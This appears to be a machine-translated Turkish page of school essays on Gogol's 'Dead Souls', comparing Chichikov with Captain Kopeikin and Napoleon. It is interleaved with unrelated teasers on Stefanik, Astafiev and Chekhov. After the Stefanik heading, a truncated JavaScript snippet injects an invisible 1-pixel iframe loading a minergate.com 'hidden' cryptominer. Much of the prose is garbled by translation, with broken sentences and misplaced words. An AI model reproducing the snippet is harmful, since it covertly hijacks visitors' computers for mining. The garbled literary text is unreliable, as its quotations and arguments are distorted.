N. Gogol'un “Ölü Canlar” şiirinin ana karakterlerinin karşılaştırılması. Chichikov'u Kaptan Kopeikin ve Napolyon ile karşılaştırmanın anlamı (N.V. Gogol'un "Ölü Canlar" şiirine dayanarak)

Ölümsüz şiiri" Ölü Ruhlar» N.V. Gogol on yedi uzun yıl boyunca yazdı. Bu eser hayatında ve eserinde son eser oldu

İçinde çağdaş Rusya ve yurttaşları hakkındaki görüşlerini dile getirdi. Ama aynı zamanda daha derin felsefi sorunları da ele aldı. insan ruhu: Vicdan sorunu, ahlak, iyilik ve kötülük, ahlak, dürüstlük.

Şiirin ana karakteri Pavel Ivanovich Chichikov Rusya'yı dolaşıyor, ölüleri satın almak köylülerin ruhları Bir kahraman özünde parlak bir dolandırıcıdır. Ne olursa olsun gerçekleştirmeye çalıştığı çok zekice bir dolandırıcılık tasarladı. Chichikov'un hayattaki hedefi kârdır. Hayatı boyunca zengin olmaya, sakin ve mutlu yaşamaya çalıştı. Amacı uğruna küçük ve büyük suçlar işliyor: Rüşvet alıp veriyor, aldatıyor, ihanet ediyor. Hedefine ulaşmak için hiçbir şeyden vazgeçmediğini söyleyebiliriz. Bu, sırf kendi yoluna gitmek için cesetlerin üzerinden geçebilen türden bir insan.

Şiirin onuncu bölümünde, N şehrinin korkmuş yetkilileri nihayet Chichikov'un kim olduğunu bulmak için bir araya geldiklerinde birçok inanılmaz varsayımda bulunulur. Yani Pavel Ivanovich, gizemli kaptan Kopeikin ile karşılaştırılıyor. İlk bakışta posta müdürünün varsayımı tamamen saçma görünüyor. Gerçekten de talihsiz kaptan Kopeikin ile dolandırıcı Chichikov arasında ortak olan ne olabilir? Ancak Gogol'ün bu kahramanları bir araya getirmesi tesadüf değil.

Hükümdarı için, ülkesi için yapılan savaşlarda sakat kalan Yüzbaşı Kopeikin, onlardan herhangi bir yardım almadı. Kolu ve bacağı olmadığı için kendini doyuramıyordu ve bu nedenle generalden emekli maaşı istiyordu. Askerin isteklerinden bıkan kayıtsız bir yetkili, onu şehir dışına gönderir. Herkes Kaptan Kopeikin'i unuttu: “Kopeikin'in nereye gittiği bilinmiyor; ancak iki aydan kısa bir süre sonra Ryazan ormanlarında bir soyguncu çetesi ortaya çıktı ve bu çetenin şefi, efendim, başkası değildi...” Gogol bu çetenin liderinin kim olduğunu özellikle söylemiyor. Bu anlaşma eksikliği tesadüfi değil

Genel olarak şunu anlıyoruz hakkında konuşuyoruz Kaptan Kopeikin hakkında. Bu kişi hak ettiği cezayı alamayan hırsıza dönüşür. Çaresizce kanunsuzluk yapmaya, öldürmeye ve soyguna başlar.

Öte yandan Pavel Ivanovich Chichikov'un aynı zamanda bir soygun çetesinin lideri olduğunu da anlıyoruz. Girişimciler ve işadamlarından oluşan yeni bir kabilenin lideridir. Gogol onları Rusya'yı yok edebilecek "aşağılık ve korkunç bir güç" olarak görüyordu. Bu akıllı, hünerli, amaçlı ve kurnaz insanlar tüm güçlerini zengin olmaya harcadılar. Yolda herhangi bir engel görmediler: ne fiziksel, ne ahlaki, ne de ahlaki. Gogol'e göre bu, çocuklukta bu insanlara basit insan emirlerinin aşılanmaması nedeniyle oldu. Chichikov'un babasının oğluna çok küçük yaşlardan itibaren şunu söylediğini hatırlayalım: “Bir yoldaş veya arkadaş sizi aldatacak ve başı dertte olan ilk kişi size ihanet edecek, ancak başınız ne kadar belada olursa olsun bir kuruş size ihanet etmeyecek. ” Bir kuruşla her şeyi yapacaksın, dünyadaki her şeyi mahvedeceksin.” Küçük Pavlusha hayatının geri kalanında bu gerçeği hatırladı ve boş, ruhsuz büyüdü. korkutucu kişi. Buradaki yoklama tesadüfi değil: Kaptan Kopeikin - "Kuruşuna iyi bak."

Yetkililer, Chichikov'un ünlü kaptan Kopeikin olduğuna inanmıyordu. Birçoğu, "Chichikov'un kılık değiştirmiş Napolyon olmayabileceğini... belki onu Helena Adası'ndan serbest bıraktılar ve şimdi sanki Chichikov gibi Rusya'ya doğru yola çıkıyor" dedi. aslında o hiç de Chichikov değil.” Korkmuş şehir yetkilileri buna bile inanamadılar. Chichikov'un yüzünün "gerçekten Napolyon'un portresine benzediğini" hatırladılar. Gogol bunu kabul etmiyor ama inkar da etmiyor. Gerçekten de Chichikov bir bakıma Napolyon'dur. Gogol şöyle yazıyor: "Napolyon Deccal'dir ve altı duvar ve yedi denizin arkasında taş bir zincir üzerinde tutulmaktadır, ancak bundan sonra zincirleri kıracak ve tüm dünyayı ele geçirecektir." Buradaki yazarın aklında sadece gerçek olanı değil, olduğuna inanıyorum. tarihi figür ama aynı zamanda onun kahramanı. Şiirin en başından beri Chichikov'un Napolyon planları vardı. Bunları Napolyon kadar kendinden emin ve küstahça gerçekleştirdi, Chichikov da Fransız imparatoru gibi, kurbanları saymadan her şeyi ezecekti. Gogol'e göre şiirin kahramanı gibi insanlar, sonunda "zincirleri kıracak ve tüm dünyayı ele geçirecek" gerçek Deccallerdir. Yazar en çok bundan korkuyordu, bu yüzden de “Ölü Canlar”ı çağdaşlarına ve gelecek nesillere bir uyarı olarak yazdı.

Sayfa 1 itibaren 1

Stefanik'in kısa öykülerinde hayatın anlamı

(function() ( var w = document.createElement("iframe"); w.style.border = "yok"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/4/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body"); ...

V. P. Astafiev'in “Çar Balığı” hikayesi. İnsanın doğa karşısında sorumluluğu. İnsan ile kral balık arasındaki yüzleşmenin anlamı

V. P. Astafiev'in “Çar Balığı” hikayesi. İnsanın doğa karşısında sorumluluğu. İnsan ile kral balık arasındaki yüzleşmenin anlamı 1. Yaşlı balıkçının antlaşması ve kral balık imajının sembolizmi. 2. İnsan hayatı ve ölüm karşısında günahlar. 3. "Nehrin kralı" ile "kralın tüm doğası" arasındaki çatışmanın anlamı. Utanç verici bir davranışı insanlardan gizleyebilirsiniz; Tanrılar düşüncelerinizden saklanmanıza bile izin vermedi. Samoslu Lucian V. P. Astafiev'in tüm eserleri derin aşkİle yerli toprak, doğaya ve tüm canlılara. "Kral Balık" hikayesinde, görünüşte doğaüstü hiçbir şey olmuyor: sadece deneyimli bir balıkçı, tek başına baş edemeyeceği çok büyük bir mersin balığı yakaladı, kardeşini yardım için çağırmak istemedi ve açgözlülüğü yüzünden neredeyse ölüyordu. Ancak bu hikayelerin arkasında, hiçbir zaman insana tamamen boyun eğmeyen doğanın güçlü ve gizemli temel güçleri vardır. Bu güçler kendi yasalarına göre yaşar ve bu yasalar, daha yüksek adalet, dürüstlük ve ruhun saflığı kavramıyla bağlantılı insanlar tarafından bir şekilde bilinmemektedir. Uyarıma şaşmamalı yaşlı balıkçı gençler: “Ve siz çekingenler, ruhunuz için bir şey varsa, büyük bir günah, bir tür rezalet, midyeler - kral balıkla bulaşmayın, kodlarla karşılaşırsanız - onları hemen gönderin. İtin, itin!.. Varna işi güvenilmez.” Kral balığı imgesi yazarın niyetini anlamak açısından büyük önem taşıyor. Kral Balık sadece büyük bir mersin balığı değil, aynı zamanda eşi benzeri görülmemiş ve görkemli bir şeye, kimsenin başaramadığı bir şeye ilişkin bir insan rüyasının sembolüdür. Balıkçılar arasında yavaş yavaş onun hakkında efsaneler oluşuyor ve herkes onu yakalamayı umuyor ama herkes başarılı olamıyor. Ancak burada bir seçim sorunu ortaya çıkıyor: Bir insan için hangisi daha iyi - rüyasını, kral balığını yakalamak ve bir daha böyle bir şeyin olmayacağını bilmek ("kral balık hayatta bir kez yakalanır...") ya da bunun hayaliyle mi yaşıyorsun?

Çehov'un "Alıntı" adını verdiği hikayenin anlamı

Çehov'un "Alıntı" olarak adlandırdığı hikayenin amacı, bu meraklı memurun mirasının, "hayatının birçok mutlu dakikasını" borçlu olduğu hizmetçisi Marfa Evlampievna'ya geçmesidir. İki kere düşünmeden mülkü yıktı ve bu siteye alkollü içki satan bir meyhane inşa etti. Hikâye son derece özet ve özlü olsa da, önümüze çıkıyorlar. yaşam boyutu ve Kozerogov'un kendisi ve Marfa Evlampievna, idealleri, yaşamları. Eğer öyleyse, bu "Alıntı" geveze, aylak bir yazar için uzun ve sulu bir öykünün konusu olarak hizmet edebilir...

"Ölü ruhların" alınıp satıldığı sahnenin analizi. Chichikov ve Korobochka arasındaki diyalog

Analize geçelim doruk bölümü bölümler - “ölü ruhların” alınıp satıldığı sahneler. Chichikov ile Korobochka arasındaki diyalog sınıfta duyulmalıdır. Önceden hazırlanan öğrencilerin bunu yüzlerine okuması iyi olur. Bu son derece komik sahne. Korobochka ve Chichikov arasındaki diyaloğa dayanarak, bu sahnede toprak sahibinin karakterinin en iyi şekilde ortaya çıktığı, sadece küçük tutumluluğunu ve verimliliğini değil aynı zamanda aptallığını, açgözlülüğünü ve serflik inançlarını da ortaya çıkardığı sonucuna varabiliriz. Korobochka, aynı pratiklikle, kendi mülkünün ve köylülerin ürünlerini bal, domuz yağı, kuş tüyü gibi sıradan mallar olarak kabul ederek satıyor ve en önemlisi de bir şeyleri satmaktan korkuyor: "Canlılardan vazgeçtim..." , vesaire... .

Makalenin konusu Chichikov’un NN şehri ile tanışmasıdır

N.V. Gogol'un "Ölü Canlar" şiirine dayanan bir makale. “NN taşra kasabasındaki otelin kapısından oldukça güzel bir bahar şezlongu geçti... Şezlongda bir beyefendi oturuyordu, yakışıklı değildi ama kötü görünüşlü değildi, ne çok şişman ne de çok zayıftı; Yaşlı olduğu söylenemez ama çok genç olduğu da söylenemez. Girişi şehirde kesinlikle hiçbir ses çıkarmadı ve özel bir şey eşlik etmedi.” Kahramanımız Pavel Ivanovich Chichikov şehirde böyle görünüyor. Yazarın izinden giderek şehri tanıyalım. Her şey bize buranın tipik bir taşra kasabası olduğunu söylüyor Çarlık Rusyası Gogol'ün pek çok eserinde "ikizlerine" rastladığımız II. Nicholas dönemi. Ve buradaki otel “taşra kasabalarındaki otellere benziyor”: uzun, sarı boyalı üst kat, odalarında misafirlerini bekleyen hamamböcekleri var. Odasını inceledikten sonra Chichikov, otelin ortak odasına gider, burada kirli duvarlardan, duvarlardaki tatsız resimlerden utanmadan, yıpranmış muşambalı bir masaya oturur ve meyhane için olağan yemeklerden oluşan öğle yemeği sipariş eder. : Lahana çorbası, "birkaç hafta boyunca oradan geçenler için kasıtlı olarak saklandı", bezelye, sosis ve lahanalı beyinler ve "sonsuz" tatlı pasta. Zaten akşam yemeğinde Chichikov acil çıkarlarını tatmin etmeye başlar. Meyhane hizmetçisiyle boş boş konuşmaz, ona şehirde vali ve savcının kim olduğunu, başka hangi önemli memurların ve toprak sahiplerinin bulunduğunu ve bunların ne durumda olduğunu, kaç köylüleri olduğunu sorar... .

"Baştan sona kahraman" olarak adlandırılan Chichikov imajı, şiirdeki en karmaşık ve çok yönlü olanıdır. Her şeyden önce Chichikov, aktivite ve aktiviteyle genel arka plandan öne çıkıyor. Bu girişimci figürü Rus edebiyatında yenidir.

Kompozisyon olarak bu imaj öyle bir şekilde inşa edilmiştir ki, önce onu tanıdıktan ve onun hakkında fikirlerimizi oluşturduktan sonra karakterinin nasıl oluştuğunu öğrenme fırsatı buluruz. Bu kompozisyon özelliğiŞiir ve anlamı Yu.V. tarafından çok doğru bir şekilde yorumlanmıştır. Mann: “En başından beri bir dolandırıcılığa tanık olduğumuzu anlasak da, bunun özel amacının ve mekanizmasının ne olduğu ancak şu şekilde netleşiyor: son bölüm. Aynı bölümden, başlangıçta açıklanmayan, ancak daha az önemli olmayan bir başka "sır" netleşiyor: Chichikov'u bu dolandırıcılığa hangi biyografik, kişisel nedenler yönlendirdi. Bir vakanın hikayesi bir karakter hikayesine dönüşüyor."

Chichikov'un imajı kasıtlı olarak karmaşıktır: Ara sıra onda kendisine yabancı görünecek özellikler belirir. Yazarın düşünceleri genellikle sadece yazarın değil, aynı zamanda Chichikov'un da olduğu ortaya çıkıyor, örneğin balolar, Sobakevich hakkında, valinin kızı hakkında... Chichikov'da, yaşayan bir ruhun öngörülemezliği ve tükenmezliği en açık şekilde ortaya çıkıyor - Tanrı bilir ne kadar zengin olmasa da, giderek azalsa da, ama yaşıyor.

On birinci bölüm Chichikov’un ruhunun tarihine ayrılmıştır. Biyografisi, hayatın hemen "ekşi ve nahoş bir şekilde, çamurlu, karla kaplı bir pencereden: çocuklukta arkadaş yok, yoldaş yok!" Doğmuş adama hemen baktığı doğum anından itibaren başlıyor. Ve sonra babasının göze çarpmayan, anlamsız yolunu tekrarlamaya ve karanlığa gömülmeye mahkum olan bir çocuğun maddi ve manevi açıdan fakir hayatı kısaca anlatılır. Chichikov'un öfkeli protestosu, gelecekteki çocuklarının maddi refahını ne pahasına olursa olsun sağlama arzusu, babalarını küçümsememeleri ve onu minnettarlıkla hatırlamaları bu aşağılık duygusundan değil mi?!

Babasının Pavlusha'ya verebileceği tek şey yarım parça bakır ve manevi bir antlaşma olarak sunulan bir talimattı: “Bak Pavlusha, çalış, aptal olma ve ortalıkta dolaşma, ama en önemlisi öğretmenlerini memnun et. ve patronlar. Eğer patronunuzu memnun ederseniz, o zaman sizin bile bilime vaktiniz kalmaz ve Tanrı size yetenek vermemiştir, siz de ilerleyip herkesin önüne geçersiniz. sana hiçbir şey öğretmeyecekler; bir kuruş dışında: bu dünyadaki en güvenilir şeydir. Bir yoldaş veya arkadaş seni aldatacak ve başı dertte sana ilk ihanet eden o olacak, ama bir kuruş sana ihanet etmeyecek. Başınız ne kadar dertte olursa olsun, bir kuruşla dünyadaki her şeyin üstesinden gelirsiniz.”

İşte bu kadar; kısa ve net. Ve Chichikov Sr.'nin mantığı bize bir şeyi hatırlatıyor mu? Tabii ki! - Molchalina:

Babam bana miras bıraktı:

Öncelikle lütfen istisnasız tüm insanları -

Yaşayacağı yerin sahibi,

Birlikte hizmet edeceğim patron,

Elbiseleri temizleyen hizmetçisine,

Kapıcıya, kapıcıya, kötülükten kaçınmak için,

Kapıcının köpeğine, şefkatli olsun diye.

Tıpkı Molchalin gibi, Chichikov da aktif olarak maddi refah arıyor ve tüm patronları "ılımlılık ve doğrulukla" memnun etmeye çalışıyor. Ve "patronlar" bu yeteneklere nasıl tepki veriyor! Örneğin öğretmen Pavlushi'yi hatırlayın: "Öğretmenin sessizliği ve iyi davranışı çok seven bir kişi olduğunu ve akıllı ve keskin çocuklara tahammül edemediğini belirtmek gerekir..."

Ancak “Molchalin” tipine olan tüm yakınlığına rağmen, Chichikov selefinden çok daha derin ve daha karmaşıktır: “Ancak kahramanımızın doğasının o kadar sert ve duygusuz olduğu ve duygularının o kadar donuk olduğu söylenemez. ne acımayı ne de şefkati biliyordu, ikisini de hissediyordu, hatta yardım etmek bile istiyordu, ama sadece önemli bir miktar içermemesi için, tek kelimeyle dokunulmaması gereken paraya dokunmamak için, babasının talimatı; : Kendinize iyi bakın ve bir kuruş biriktirin - bu kadar."

Molchalin'in özelliği tamamen yoksun olmasıdır. ahlaki ilkeler. Gogol "Molchalin tipi" analizini derinleştiriyor. Chichikov ilkesiz değil, kendi tarzında sempati duyabiliyor, kendi tarzında aptallığın ve adaletsizliğin zaferinden endişeleniyor. Ancak bu görüntünün trajedisinin ve aynı zamanda komedisinin temeli, her şeyin insani duygular Chichikov, yaşamın anlamını edinimde, birikimde gördüğü sürece var. Bu henüz Plyushkin'in zengin olmak uğruna zengin olma çılgınlığı değil. Chichikov için para bir amaç değil, bir araçtır. Refah, onur istiyor özgür hayat. Ancak tuzak tam da budur: Ahlaki anlaşılmazlıkla para çok geçmeden kendi içinde bir amaca dönüşür ve kişi onu bir araç olarak görerek yalnızca kendini kandırır. Asla yeterli olmayacak, daha fazlasını biriktirmeniz gerekiyor - bu Plyushkin'e giden doğrudan bir yoldur...

Bize öyle geliyor ki Chichikov fenomeninin doğasının derinlemesine ortaya çıktığı şiirin ana karakteri hakkında bir yargı daha verelim. Bunlar V. Nabokov'un “Nikolai Gogol” adlı makalesinden düşünceleridir (Yeni Dünya. 1987. No. 4.)

"Ölü Ruhlar tedariki dikkatli okuyucu kaba insanlara ve kaba kadınlara ait olan ve tamamen Gogolcü bir zevkle ve bu eseri devasa bir epik şiir düzeyine yükselten çok sayıda ürkütücü ayrıntıyla anlatılan bir dizi şişkin ölü ruh - Gogol'un "Ölü Canlar" vermesi boşuna değildi. ” ne kadar uygun bir altyazı. Bayağılıkta bir tür parlaklık, bir tür dolgunluk vardır ve parlaklığı, pürüzsüz ana hatları bir sanatçı olarak Gogol'u cezbetmiştir. Boğazını yumuşatmak için parmaklarıyla sütten bir incir çıkaran ya da geceliğiyle dans ederek bu Spartalı dansla (ve sonunda coşkuyla) raflardaki eşyaların zamanla titremesine neden olan devasa küresel kaba Pavel Chichikov , dolgun poposuna, yani gerçek yüzüne, çıplak pembe topuğuna vuruyor, böylece sanki kendini ölü ruhların gerçek cennetine itiyormuş gibi) - bu vizyonlar, sefil taşra yaşamının veya küçük küçük memurların daha küçük bayağılıkları üzerinde hüküm sürüyor. Ancak Chichikov gibi devasa çapta bir bayağılığın kesinlikle bir tür kusuru vardır, içinden bir solucanın görülebildiği bir delik, bayağılıkla doymuş bir boşluğun derinliklerinde çömelmiş yatan sefil, buruşuk bir aptal. En başından beri, ölü ruhları - bir sonraki nüfus sayımından sonra ölen serflerin ruhlarını - satın alma fikrinde aptalca bir şey vardı: toprak sahipleri onlar için cizye vergisi ödemeye devam ettiler, böylece onlara şöyle bir şey bahşettiler: soyut bir varoluş, ancak bu, sahiplerinin cebine çok somut bir şekilde tecavüz ediyordu ve bu hayaletlerin alıcısı olan Chichikov tarafından da aynı şekilde "özel olarak" kullanılmış olabilirdi. Küçük ama oldukça iğrenç bir aptallık, bir süre karmaşık manipülasyonlar arasında saklandı. Chichikov, yaşayan insanların yasal olarak satın alındığı ve rehin verildiği bir ülkede ölü insanları satın almaya çalışırken, ahlaki açıdan pek ciddi bir günah işlemedi. Chichikov'un koşulsuz irrasyonel bir dünyada koşulsuz irrasyonelliğine rağmen, içindeki aptal görülebilir çünkü en başından beri birbiri ardına hatalar yapıyor. Hayaletlerden korkan yaşlı bir kadınla ölü ruhları takas etmek aptalcaydı ve palavracı ve kaba Nozdryov'a böylesine şüpheli bir anlaşma teklif etmek affedilemez bir pervasızlıktı.<…>Chichikov'un suçu tamamen şarta bağlı olduğundan, kaderinin kimsenin kalbini etkilemesi pek mümkün değil. Bu bir kez daha Rus okuyucuların ve eleştirmenlerin ne kadar gülünç derecede hatalı olduklarını kanıtlıyor " Ölü ruhlar ah" o zamanın yaşamının gerçek bir tasviri. Ancak efsanevi kaba Chichikov'a hak ettiği gibi yaklaşırsanız, yani onda Gogol tarafından yaratılan, özel bir Gogol kasırgasında hareket eden bir bireyi görürseniz, o zaman soyut fikir Serflerin sahtekarlık ticaretinin hikayesi tuhaf bir gerçeklikle dolu olacak ve bunu yüz yıl önce Rusya'da hüküm süren toplumsal koşullar ışığında düşünürsek göreceğimizden çok daha fazlasını ifade edecek. satın aldığı sadece bir kağıt parçası üzerindeki isim listesi değil, Gogol'ün yaşadığı havayı, Manilov veya Korobochka'nın saçma animuli'leri (küçük ruhları (enlem.)) ile dolduran ölü ruhlardır. NN şehrinin hanımları, bu kitabın sayfalarından fırlayan sayısız cüce ve Chichikov'un kendisi de şeytanın düşük maaşlı bir ajanı, cehennem gibi bir seyyar satıcı.<…>Chichikov'un kişileştirdiği bayağılık, ana ayırt edici özellikler Gogol, varlığına da eklenmesi gereken şeytana, Tanrı'nın varlığından çok daha fazla inanıyordu. Chichikov'un zırhındaki çatlak, iğrenç bir kokunun geldiği bu paslı delik (biri pisliklerin parçalayıp dolaba bıraktığı kırık bir yengeç konservesinden geliyormuş gibi) şeytanın vizöründe vazgeçilmez bir çatlaktır. Bu, dünya çapındaki bayağılığın orijinal aptallığıdır.

Chichikov en başından itibaren ölüme mahkumdur ve yalnızca NN şehrinin kaba ve kaba insanlarına hoş bir laik görünebilecek bir yürüyüşle, arka tarafıyla hafifçe yalpalayarak ölüme doğru kaymaktadır. Belirleyici anlarda, ahlak dersi veren tiradlarından birine atladığında (tatlı sesli konuşmasında hafif bir kesintiyle - "sevgili kardeşler" kelimeleri üzerinde bir tremolo), gerçek niyetini coşkun melaslarda boğmak niyetiyle, kendisine bu dünyanın zavallı solucanı diyor. İşin garibi, aslında iç kısmı bir solucan tarafından kemiriliyor ve eğer biraz gözlerinizi kısarak yuvarlaklığına bakarsanız bu solucanı ayırt edebilirsiniz. Lastiklerin reklamını yapan savaş öncesi bir Avrupa posterini hatırlıyorum; tamamen kauçuk halkalardan yapılmış bir insana benzeyen bir şeyi gösteriyordu; Yani yuvarlak Chichikov bana sıkı, halkalı, ten rengi bir solucan gibi görünüyor.

Chichikov refahını başkalarının talihsizlikleri üzerine kuruyor: ölmekte olan yaşlı bir öğretmene hakaret etti, polis memurunu ve kızını aldattı, rüşvet alıyor, devlet parasını kullanıyor, gümrükte dolandırıcılık yapıyor... Öğretmen bizde sempati uyandırmıyor. , eski polis memuru tatsız, devletin özellikle Chichikov gümrük "müzakerelerinden" yoksullaşmadığını anlıyoruz. Ama konu bu değil; eylemlerinin özünün aynı olması önemlidir - aldatma, ihanet, sahtekarlık. Ve kimse ne Chichikov'u ganimeti elinden alan Robin Hood olarak hayal edebilir, ne de kurbanların anlayışsız doğasını bahane ederek eylemlerini mazur görebilir. Amaç, araçları haklı çıkarmaz - ve Chichikov bu esası ihlal eder ahlak kanunu, kötü şeyler yapmasına izin veriyor, kendini haklı çıkarıyor: “Kimseyi mutsuz etmedim: Dul bir kadını soymadım, kimsenin dünyayı dolaşmasına izin vermedim, aşırıdan kullandım, herkesin alacağı yeri aldım. almak..."

Bunun çok uygun bir felsefe olduğu açık: Hayatı o kadar kolaylaştırıyor ki! Bir suçlu dul bir kadını soydu. Ve hazineyi soydun, onu "fazlalıktan" aldın, yani akıllısın iş adamı. Chichikov kendisi için yaratıyor özel sistem ahlaki değerler Hıristiyan ahlakına karşı çıkan, bir kendini haklı çıkarma sistemi yaratır - tüm bunlar bozulmadır, manevi yoksullaşmanın yoludur, çünkü kişi sürekli olarak kendi vicdanıyla konuşmasını kolaylaştırır ve nihayetinde suçunu haklı çıkarır. Bu uçuruma giden yol - Gogol buna karşı uyarıyor.

Dedikoduyla yaşayan şehir, Chichikov'u valinin kızı Napolyon, Deccal ve Yüzbaşı Kopeikin'i kaçıran kişi olarak görüyor. Bu, şehrin yaşamını, yetkililerin ve eşlerinin düşünme biçimini karakterize eder. Bu projeksiyonlar kendi tarzlarında Chichikov'u da karakterize ediyor. Bu, amacına her ne şekilde olursa olsun ulaşan küçük, küçük, kaba bir Napolyon'dur; o, "Rinald Rinaldin gibi" romantiklikten arındırılmış bir soyguncudur; Bu Deccal değil, küçük bir iblis...

Chichikov imajının Kaptan Kopeikin imajına yansıtılmasından özellikle bahsetmek gerekir. Başlangıçta sansürün “hikâyeyi” yasakladığını söylemiştik. Gogol için bu korkunç bir darbeydi: “... İtiraf ediyorum, Kopeikin'in yok edilmesi kafamı çok karıştırdı. en iyi yerler. Ve şiirimde görünen bu boşluğu hiçbir şeyle dolduramıyorum." Ve Gogol "hikayeyi" yeniden düzenlemeye karar verir. Sansürlü versiyonda Kopeikin, yardım sorunu çözülene kadar yaşamak için küçük bir miktar alır. Ancak başkentin cazibesi ortasında, bu parayı anında harcıyor ve daha fazlasını talep etmeye başlıyor. İşte o zaman St. Petersburg'dan kovulur ve gördüğünüz gibi Gogol, kişinin amacını tamamen ortadan kaldırır. açlıktan ölmeye zorlandı: içinde. yeni baskı Kopeikin'in günlük ekmeği için paraya ihtiyacı yok: "Bir pirzola yemeye, bir şişe Fransız şarabına, tiyatroya gidip kendimi eğlendirmeye ihtiyacım var, diyor." Yani, doğrudan bir teşhir yok, kahramanın neredeyse küstah bir gaspçı olduğu ortaya çıkıyor. Gogol neden hala "hikayeyi" bıraktı?

Öncelikle "hikayenin" tarzına dikkat edelim. Bunu posta şefi anlatıyor ve bu kahraman kendi üslubuyla kendini anlatıyor. Ve sunumunda her şey devam ediyor özel tür. Yu.V. bu hususu zekice analiz ediyor. Mann: "Anlatımın tuhaf derecede komik tarzı... hikayenin konusu hakkında söylenenlere gölge düşürüyor. Yüksek komisyon değil, "bir bakıma yüksek komisyon." Kurul değil, "kurul". asilzade ile Yüzbaşı Kopeikin arasındaki fark parasal bir hesaba çevriliyor: "doksan ruble ve sıfır!" Böylesine yoğun bir kelime ağı aracılığıyla "bir şekilde", "bir nevi", "can" hayal edin” vb., kraliyet başkenti görülüyor ve onun anıtsal yüzünde (ve “hikayede” olan her şeyde) bir tür rengarenk, dalgalı dalgalar düşüyor, okuyucuyu gülmeye zorluyor, Gogol kutsaldan yoksun. kraliyet kurumlarının ve kurumlarının rütbesi.

Şu soru ortaya çıkıyor: "Hikâyenin" anlatıcısı olan posta şefinin düşüncelerinde buna benzer bir şey olabilir mi? Ama mesele şu ki, dili bağlı anlatım tarzı o kadar naif, o kadar samimi ki, bundaki hayranlık, şeytani alaycılıktan ayrılamaz. Ve eğer öyleyse, o zaman bu tarz, "Ölü Canlar" kitabının yazarının yakıcı alaycılığını aktarabilecek kapasitededir.

Yazarın yapmak zorunda kaldığı “patron” ve kaptan Kopeikin karakterizasyonundaki değişiklikler bu şekilde etkisiz hale getirilmiş ve geçersiz kılınmıştır” (Yu. Mann. Buluşun Cesareti. M., “Çocuk Edebiyatı”, 1979). , s. 110-111).

Böylece, "Kaptan Kopeikin'in Hikayesi" şiire başkentin temasını ve en yüksek güç çevrelerini tanıtıyor. Araştırmacılar bunun Gogol'ün St. Petersburg hikayelerinden biri olduğunu, sanki Ölü Canlar'a "eklenmiş" gibi olduğunu belirtti. Bu doğrudur ama şiirin dokusunda öykünün bir yabancılık duygusu vardır. Gerçekten sadece “St. Petersburg teması” için mi gerekli? Hayır, elbette, sadece bunun için değil, Gogol'ün hedefi - "tüm Rusya'yı göstermek" - bu konunun dahil edilmesini gerektiriyordu.

Yine de hikaye esas olarak şiirin derin katmanlarıyla bağlantılıdır.

Postmaster'ın versiyonunun diğer versiyonlarla nasıl karşılaştırıldığına bakın: bu da en az onlar kadar saçma. Bu, genel bir delilik atmosferi, her şeyin her şeyle tutarsızlığı, tam bir körlük ve aptallık yaratır. Ve son olarak en önemli şey. Hikaye, Gogol'un çalışmasının ana motiflerinden birini içeriyor: intikamın nedeni, daha doğrusu intikamın ahlaksızlığının nedeni.

"Kaptan Kopeikin'in Hikayesi", Gogol'ün en önemli hikayelerinden biri olan ve Rus edebiyatının merkezi hikayelerinden biri olan "Palto" ile hemen hemen aynı zamanlarda yazılmıştır. Dostoyevski'nin sözlerini hatırlayın: “Hepimiz Gogol'ün “Palto”sundan çıktık! Küçük memur Akaki Akakievich, yeni bir palto dikmek için her şeyi kesiyor. Onun için bu palto, sıcak ve rahat kıyafetlerden çok daha fazlası. Bu onun bir simgesi insan onuru, onun "bağımsızlığı". Ve sokaktaki ilk günlerde soyguncular paltosunu çıkardı! Adaleti sağlayamayan Akaki Akakievich umutsuzluğa kapılır ve ölür. Ve şimdi St. Petersburg'un eteklerinde beliriyor korkunç hayalet, insanların paltolarını, özellikle de paltolarını çıkarmak. Bu hikaye neyle ilgili? Bir düşünelim sonuçta Akaki Akakievich paltosunu alan soygunculardan intikam alabilir. Neden kendisini bununla sınırlamıyor? Önemli olan bu ve bu da temel fikirler Gogol'e göre intikam ölçüsü her zaman işlenen suçun ölçüsünü aşacaktır. Adalet asla intikamda zafer kazanmaz; intikam kör eder, etrafınızdaki herkeste düşman görmenizi sağlar. Protesto aynı zamanda sabrının ölçüsü sınırsız olmayan yaşayan bir ruhun uyanmasıdır. Ancak protesto, intikam için baskı yapmak, şiddeti teşvik etmek, uçuruma, yıkıma giden korkunç bir uyanış yoludur.

"Kaptan Kopeikin'in Hikayesi" nin hem birinci hem de ikinci versiyonlarında asıl şey korunur: güç adalete her zaman geç kalır. Anavatan savunucusu (sonuçta Yüzbaşı Kopeikin, 1812 savaşının kahramanıdır) anavatan düşmanına dönüşür.

Elbette Chichikov, Kaptan Kopeikin değil. Ancak onları bir araya getiren şey, Rusya'nın vatandaşlarının erdemli olmasına ve kendilerini geliştirmelerine izin vermeyecek olmasıdır. Bu saçmalık diyarında tüm yetenekler yanlış yönlendirilmiş, kötülüğe dönüştürülmüş, çarpıtılmış ahlaki değerler, muzaffer aptallık ve bayağılık.

“Yüzbaşı Kopeikin'in Hikayesi”, davası uğruna kan döken Rusya'nın savunucusunun hızla düşmana dönüşmesinin dehşet verici bir tablosu. Bu, Gogol'ün çağdaşlarına bir uyanma, uçuruma doğru uykulu yürüyüşlerinden uyanma çağrısıdır.

Referanslar

Monakhova O.P., Malkhazova M.V. Rusça edebiyat XIX yüzyıl. Bölüm 1. - M., 1994.

Nabokov V.V. Nikolai Gogol // Yeni Dünya. 1987. No.4

Bu çalışmayı hazırlamak için http://www.gramma.ru sitesindeki materyaller kullanıldı.

özel ders

Bir konuyu incelemek için yardıma mı ihtiyacınız var?

Uzmanlarımız ilginizi çeken konularda tavsiyelerde bulunacak veya özel ders hizmetleri sağlayacaktır.
Başvurunuzu gönderin Konsültasyon alma olasılığını öğrenmek için hemen konuyu belirtin.

N.V. Gogol ölümsüz şiiri "Ölü Canlar"ı on yedi uzun yıl boyunca yazdı. Bu çalışma hayatının ve çalışmalarının sonuncusu oldu. İçinde çağdaş Rusya ve yurttaşları hakkındaki görüşlerini dile getirdi. Ama aynı zamanda insan ruhunun daha derin felsefi sorunlarını da ele aldı: vicdan sorunu, ahlak, iyilik ve kötülük, ahlak, dürüstlük sorunu.

